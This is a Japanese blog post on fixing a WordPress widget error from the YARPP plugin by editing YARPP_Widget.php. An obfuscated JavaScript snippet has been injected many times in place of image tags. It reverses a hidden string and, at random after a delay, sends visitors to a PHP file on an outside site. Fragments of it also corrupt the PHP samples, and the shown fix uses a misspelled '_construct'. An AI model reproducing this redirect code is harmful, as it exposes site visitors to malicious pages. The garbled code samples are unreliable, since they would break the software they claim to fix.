Sumirexxx

今日もiPhone片手に出かけます

WordPressアップデートでWidgetエラーが出た時の対処法

WordPress

こんにちは。すみれ(@sumire20120524)です。

今日久しぶりにWordpressをアップデートしたら、エラーが出ました。こんなのです。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de6c9f9cb0c314d54f4d6b5032a3c62.png” alt=”プラグイン Sumirexxx WordPress” title=”プラグイン_‹_Sumirexxx_—_WordPress.png” border=”0″ width=”395″ height=”126″>

どうやらWidget関数がだめになったみたいな感じでしょうか。

他の方も同じようなエラーが出ていたようです。

プラグインをひとまず全停止してひとつひとつ有効化していったら、このプラグインでエラーが出ました。

Yet Another Related Posts Plugin (YARPP)

この中に原因があるようです。

▼参考

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://capture.heartrails.com/150×130/shadow?https://wordpress.org/support/topic/incompatible-with-43″ alt=”” width=”150″ height=”130″>ワードプレス>サポート4.3との互換性はありません»$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://b.hatena.ne.jp/entry/image/https://wordpress.org/support/topic/incompatible-with-43″ alt=””>

対処法

YARPP_Widget.phpにある9行目にあるソースを書き換えます。

YARPP Widget php 名称未設定サイト$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ width=”532″ height=”216″>

WPWIdgetとなっているところを、_constructと置き換えます。comstructの前にあるのはアンダーバー2つなので要注意です。

修正前

9行目を見ると、WP_Widgetという項目があるのがわかります。

[HTML]

public function __construct() {

    parent::WP_Widget(false, 'Related Posts (YARPP)', array('%MINIFYHTMLbd9700bc2c9ffd78bb09410592ea9f4e22%description' => 'Related Posts%MINIFYHTMLbd9700bc2c9ffd78bb09410592ea9f4e23%delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0),%MINIFYHTMLbd9700bc2c9ffd78bb09410592ea9f4e24%delay);}and/or Sponsored Content'));

    wp_enqueue_style('yarppWidgetCss', YARPP_URL.'/style/widget.css');

}



[/HTML]

YARPP Widget php 名称未設定サイト$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ width=”408″ height=”109″>

修正後

_constructに書き換えます。

[HTML]

public function _construct() {

    parent::__construct(false, 'Related Posts (YARPP)', array('%MINIFYHTMLbd9700bc2c9ffd78bb09410592ea9f4e30%description' => 'Related Posts%MINIFYHTMLbd9700bc2c9ffd78bb09410592ea9f4e31%delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0),%MINIFYHTMLbd9700bc2c9ffd78bb09410592ea9f4e32%delay);}and/or Sponsored Content'));

    wp_enqueue_style('yarppWidgetCss', YARPP_URL.'/style/widget.css');

}



[/HTML]

YARPP Widget php 名称未設定サイト$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ width=”433″ height=”122″>

プラグインを有効化してみる

対処ができたらファイルを保存して、管理画面を更新してみましょう。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de6c9f9cb0c314d54f4d6b5032a3c61.png” alt=”プラグイン Sumirexxx WordPress” title=”プラグイン_‹_Sumirexxx_—_WordPress.png” border=”0″ width=”588″ height=”49″>

エラーが消えていたらOKです。

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de6c9f9cb0c314d54f4d6b5032a3c63.png” alt=”プラグイン Sumirexxx WordPress” title=”プラグイン_‹_Sumirexxx_—_WordPress.png” border=”0″ width=”373″ height=”94″>

まとめ

プラグインの更新をかけてもエラーのままだったので、まだ開発者さんが修正していないようですね。

英語読めないけどやりたいことは同じなので、なんとなくわかりました。外国の人ありがとう!

この記事をシェアする

<